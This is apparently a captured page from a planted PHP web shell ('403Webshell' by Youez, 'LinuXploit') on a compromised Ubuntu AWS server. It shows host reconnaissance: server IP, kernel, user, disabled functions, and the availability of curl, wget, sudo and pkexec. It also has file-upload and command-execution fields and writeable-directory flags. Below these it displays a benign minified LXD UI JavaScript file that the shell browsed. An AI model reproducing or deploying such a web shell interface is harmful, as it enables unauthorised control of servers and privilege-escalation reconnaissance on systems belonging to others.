403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/current/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/current/share/lxd-ui/assets/CancelOperationBtn-5e4a9f41.js
import{v as i,d as l,r as m,i as f,j as c,q as u}from"./index-13b2882d.js";const h=e=>{var n,a,s;const t=(r,o)=>new Date(o.created_at).getTime()-new Date(r.created_at).getTime();(n=e.failure)==null||n.sort(t),(a=e.success)==null||a.sort(t),(s=e.running)==null||s.sort(t)},y=e=>new Promise((t,n)=>{fetch(`/1.0/operations?project=${e}&recursion=1`).then(i).then(a=>(h(a.metadata),t(a.metadata))).catch(n)}),g=()=>new Promise((e,t)=>{fetch("/1.0/operations?all-projects=true&recursion=1").then(i).then(n=>(h(n.metadata),e(n.metadata))).catch(t)}),p=e=>new Promise((t,n)=>{fetch(`/1.0/operations/${e}`,{method:"DELETE"}).then(i).then(t).catch(n)}),w=({operation:e,project:t})=>{const n=l.useNotify(),[a,s]=m.useState(!1),r=f(),o=()=>{s(!0),p(e.id).then(()=>{n.success("Operation cancelled")}).catch(d=>{n.failure("Operation cancellation failed",d)}).finally(()=>{s(!1),r.invalidateQueries({queryKey:t?[u.operations,t]:[u.operations]})})};return e.status!=="Running"?null:c.jsx(l.ConfirmationButton,{onHoverText:e.may_cancel?"Cancel operation":"Cannot cancel operation at this stage",className:"u-no-margin--bottom",loading:a,disabled:!e.may_cancel,confirmationModalProps:{title:"Confirm cancel",children:c.jsx("p",{children:"This will cancel the operation."}),confirmButtonLabel:"Cancel operation",onConfirm:o,cancelButtonLabel:"Go back"},shiftClickEnabled:!0,showShiftClickHint:!0,children:c.jsx("span",{children:"Cancel"})})};export{w as C,g as a,y as f};

Youez - 2016 - github.com/yon3zu
LinuXploit